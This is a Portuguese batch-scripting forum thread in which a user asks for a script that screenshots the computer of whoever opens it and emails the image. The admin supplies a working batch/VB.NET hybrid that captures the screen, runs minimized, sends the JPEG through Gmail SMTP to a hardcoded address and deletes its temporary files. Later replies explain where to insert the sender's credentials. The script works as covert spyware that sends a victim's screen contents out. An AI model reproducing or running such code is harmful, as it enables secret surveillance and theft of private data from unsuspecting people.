DBatchScript

DBatchScript


Se você ainda não é um membro cadastre-se!
é fácil rápido e gratuito.

Existem centenas de scripts para quem é membro, alem disso você pode postar
os seus. e contar com nossa ajuda ou vice versa.

As categorias para os membros cadastrados são:

BATCH (WINDOWS).
(Espaço onde são postados os scripts que tenham funcionalidade completa) .

LINGUAGENS DIVERSSAS
(Onde tem vários códigos fonte de Delphi C/C++ asm e outros)

Participe você também estamos te esperado não perca mais tempo embarque nessa. Wink

[AJUDA] Print Screen e enviar por e-mail Toolsc10

Participe do fórum, é rápido e fácil

DBatchScript

DBatchScript


Se você ainda não é um membro cadastre-se!
é fácil rápido e gratuito.

Existem centenas de scripts para quem é membro, alem disso você pode postar
os seus. e contar com nossa ajuda ou vice versa.

As categorias para os membros cadastrados são:

BATCH (WINDOWS).
(Espaço onde são postados os scripts que tenham funcionalidade completa) .

LINGUAGENS DIVERSSAS
(Onde tem vários códigos fonte de Delphi C/C++ asm e outros)

Participe você também estamos te esperado não perca mais tempo embarque nessa. Wink

[AJUDA] Print Screen e enviar por e-mail Toolsc10
DBatchScript
Gostaria de reagir a esta mensagem? Crie uma conta em poucos cliques ou inicie sessão para continuar.
Translate the forum
English French
German Spain
Italian Dutch
Russian Japanese
Korean Arabic
Chinese Simplified Portuguese Brazil
Quem está conectado?
3 usuários online :: 0 registrados, 0 invisíveis e 3 visitantes

Nenhum

[ Ver toda a lista ]


O recorde de usuários online foi de 153 em Ter Mar 09, 2021 2:43 am
Últimos assuntos
» CALL trava depois de vários ciclos?
[AJUDA] Print Screen e enviar por e-mail EmptyDom Dez 10, 2023 10:47 am por Raffa

» [BAT] MegaNumeros simulador da mega sena
[AJUDA] Print Screen e enviar por e-mail EmptySex Jan 17, 2020 7:00 pm por castioni24

» Agendador de tarefas
[AJUDA] Print Screen e enviar por e-mail EmptySeg Ago 26, 2019 1:53 pm por Delmar Grande

» Remover duplicados e frases de um txt
[AJUDA] Print Screen e enviar por e-mail EmptyTer Jul 23, 2019 7:00 pm por Delmar Grande

» Modificações do nome de usuário
[AJUDA] Print Screen e enviar por e-mail EmptyQui maio 24, 2018 1:14 am por biopha

» [bat] Deletar uma linha de um lote de arquivo Txt, sem matar as linhas vazias
[AJUDA] Print Screen e enviar por e-mail EmptyTer Ago 01, 2017 1:46 pm por sachadee

» Aulas de cmd
[AJUDA] Print Screen e enviar por e-mail EmptySex Fev 24, 2017 4:44 pm por sachadee

» Fazer chat em rede domestica
[AJUDA] Print Screen e enviar por e-mail EmptyDom Ago 14, 2016 12:19 am por Diego Augusto

» redirecionar comando for pra outro batch
[AJUDA] Print Screen e enviar por e-mail EmptySex maio 27, 2016 1:29 pm por castioni24

Parceiros
Fórum grátis

Origem das visitas
[AJUDA] Print Screen e enviar por e-mail Percent_0
Os membros mais ativos do mês
Nenhum usuário

Destaque do mês
Destaque do Fórum

Carregando avatar...
Obrigado pela colaboração!

[AJUDA] Print Screen e enviar por e-mail

4 participantes

Ir para baixo

Resolvido [AJUDA] Print Screen e enviar por e-mail

Mensagem por Hifterbuk Qui Ago 22, 2013 12:13 pm

Olá, queria ajuda com um batch que tirasse um print screen do computador da pessoa que o abriu e depois enviasse o print por e-mail...
Pode ser gmail, hotmail, bol...
Hifterbuk
Hifterbuk
Colaboradeiro
Colaboradeiro

Masculino
Mensagens : 40
Pontos : 78
Data de inscrição : 22/08/2013
Idade : 23
Barra Respeito às Regras : Respeito às Regras 100%

http://www.guiadohacker.com.br

Ir para o topo Ir para baixo

Resolvido Re: [AJUDA] Print Screen e enviar por e-mail

Mensagem por Delmar Grande Qui Ago 22, 2013 9:45 pm

Seja Bem vindo Hifterbuk!

Veja esse testei e funciona, é só adaptar do seu gosto
usa o Email do gmail substitua esse seuemail@gmail.com pelo seu e configura a senha.

Código:

/*
@echo off & cls
title PrintscreenMail
::Autor Delmar Grande
::fórum DBatchScript  http://dbatchscript.forumeiros.com/
::Data  Qui 22 Ago 2013

if not exist %tmp%\$ (echo 0 >%tmp%\$)
set /p y=<%tmp%\$
if %y%==0 Call:Mini
echo 0 >%tmp%\$
echo carregando aguarde...
findstr "'%skip%VB" "%~f0" > "%tmp%\%~n0.vb"
for /F %%i in ('dir /B /S ^"%WinDir%\Microsoft.NET\Framework\vbc.exe^"') do set vbc=%%i
if /i "%vbc%"=="" cls&color 1c&Echo Voce nÆo tem o Netframework instalado!&pause
cls
:7
%vbc% /nologo /out:"%tmp%\%~n0.exe" "%tmp%\%~n0.vb"
"%tmp%\%~n0.exe"
(
Echo Set objEmail = CreateObject("CDO.Message"^)

Echo Subjectline = ""
Echo messagebody = ""
Echo Subjectline = "Foto da tela"
Echo Messagebody = ""

Echo With objEmail
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing"^) = 2
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver"^) = "smtp.gmail.com"
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate"^) = 1
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername"^) = "seuemail@gmail.com"
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword"^) = "suasenha"
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport"^) = 465
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl"^) = true
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout"^) = 60
Echo .Configuration.Fields.Update
Echo .AddAttachment "%tmp%\tela.jpg"
Echo End With

Echo '*** fim do SMTP remoto seção de configuração do servidor ***
Echo WScript.Echo "enviando e-mail..."
Echo With ObjEmail
Echo  .From = "seuemail@gmail.com"
Echo  .To = "seuemail@gmail.com"
Echo  .Subject = subjectline
Echo  .HTMLBody = "<p><b>Foto da tela</b></p>"
Echo End With
Echo 'On Error Resume Next
Echo objEmail.Send
Echo WScript.Echo ""
Echo WScript.Echo "Email enviado com sucesso."
Echo Set objEmail = Nothing
)>"%tmp%\SendEmail.vbs"
CScript %tmp%\SendEmail.vbs //nologo
Del %tmp%\SendEmail.vbs
del "%tmp%\%~n0.vb" >NUL 2>&1
del "%tmp%\%~n0.exe" >NUL 2>&1
pause >nul
exit
:mini
echo 1 >%tmp%\$
Start "" /Min "%~dpnx0"
msg/time:01 * Agora aguarde...
exit
Goto:eof
*/
Imports System.Windows.Forms 'VB
Imports System.IO 'VB

Module ModulePrintscreen 'VB
    Sub Main() 'VB
    'Obtém o caminho da pasta temporária do sistema (Temp) 'VB
    Dim pastaTemporaria As String 'VB
    pastaTemporaria = System.IO.Path.GetTempPath() 'VB
    SendKeys.SendWait("{%}({PRTSC})") 'VB
        If My.Computer.Clipboard.ContainsImage() Then 'VB
           My.Computer.Clipboard.GetImage.Save(pastaTemporaria + "\tela.jpg", System.Drawing.Imaging.ImageFormat.Jpeg) 'VB
        End If 'VB

    End Sub 'VB

End Module 'VB
qualquer coisa posta ai! Twisted Evil


Última edição por Delmar Grande em Dom Mar 02, 2014 7:00 pm, editado 1 vez(es)
Delmar Grande
Delmar Grande
Admineiro
Admineiro

Masculino
Mensagens : 532
Pontos : 1378
Data de inscrição : 25/06/2013
Idade : 33
Localização : Na frente do pc
Barra Respeito às Regras : Respeito às Regras 100%

https://dbatchscript.forumeiros.com

Ir para o topo Ir para baixo

Resolvido Re: [AJUDA] Print Screen e enviar por e-mail

Mensagem por Hifterbuk Sex Ago 23, 2013 12:02 am

Perfeito! Muito obrigado! Você fez algum curso sobre Batch Script ou você foi aprendendo na internet mesmo?
Hifterbuk
Hifterbuk
Colaboradeiro
Colaboradeiro

Masculino
Mensagens : 40
Pontos : 78
Data de inscrição : 22/08/2013
Idade : 23
Barra Respeito às Regras : Respeito às Regras 100%

http://www.guiadohacker.com.br

Ir para o topo Ir para baixo

Resolvido Re: [AJUDA] Print Screen e enviar por e-mail

Mensagem por Delmar Grande Sex Ago 23, 2013 12:07 am

fico feliz que gostou! Rindo Atoa 

Agora sobre batch eu aprendi com muito esforço e dedicação mesmo devemos ser sempre insistente! cheers 
Delmar Grande
Delmar Grande
Admineiro
Admineiro

Masculino
Mensagens : 532
Pontos : 1378
Data de inscrição : 25/06/2013
Idade : 33
Localização : Na frente do pc
Barra Respeito às Regras : Respeito às Regras 100%

https://dbatchscript.forumeiros.com

Ir para o topo Ir para baixo

Resolvido Re: [AJUDA] Print Screen e enviar por e-mail

Mensagem por sachadee Seg Ago 26, 2013 8:28 pm

Muito bom Delmar gostei [AJUDA] Print Screen e enviar por e-mail 505557867
sachadee
sachadee
Moderadeiro
Moderadeiro

Masculino
Mensagens : 157
Pontos : 291
Data de inscrição : 28/06/2013
Localização : porai
Barra Respeito às Regras : Respeito às Regras 100%

Ir para o topo Ir para baixo

Resolvido Re: [AJUDA] Print Screen e enviar por e-mail

Mensagem por Genok Ter Ago 27, 2013 7:53 am

Delmar Grande, vc poderia explicar melhor essa parte de configurar o e-mail?
Eu pesquisei durante mt tempo em relação a enviar algo por e-mail, mas desisti depois de muitas tentativas sem êxito!
Vlw parceiro!
study
avatar
Genok
sou nível 6

Masculino
Mensagens : 52
Pontos : 82
Data de inscrição : 02/07/2013
Idade : 28
Localização : Entre o monitor e o encosto da cadeira
Barra Respeito às Regras : Respeito às Regras 100%

Ir para o topo Ir para baixo

Resolvido Re: [AJUDA] Print Screen e enviar por e-mail

Mensagem por Delmar Grande Qua Ago 28, 2013 11:33 pm

Genok não tem segredo é só modificar essa parte do script


../smtpserver"^) = "smtp.gmail.com"
../smtpauthenticate"^) = 1
../sendusername"^) = "seuemail@gmail.com" troca pelo seu email
../sendpassword"^) = "suasenha" troca pela sua senha
../smtpserverport"^) = 465
ok Twisted Evil 
Delmar Grande
Delmar Grande
Admineiro
Admineiro

Masculino
Mensagens : 532
Pontos : 1378
Data de inscrição : 25/06/2013
Idade : 33
Localização : Na frente do pc
Barra Respeito às Regras : Respeito às Regras 100%

https://dbatchscript.forumeiros.com

Ir para o topo Ir para baixo

Resolvido Re: [AJUDA] Print Screen e enviar por e-mail

Mensagem por Conteúdo patrocinado


Conteúdo patrocinado


Ir para o topo Ir para baixo

Ir para o topo

- Tópicos semelhantes

 
Permissões neste sub-fórum
Não podes responder a tópicos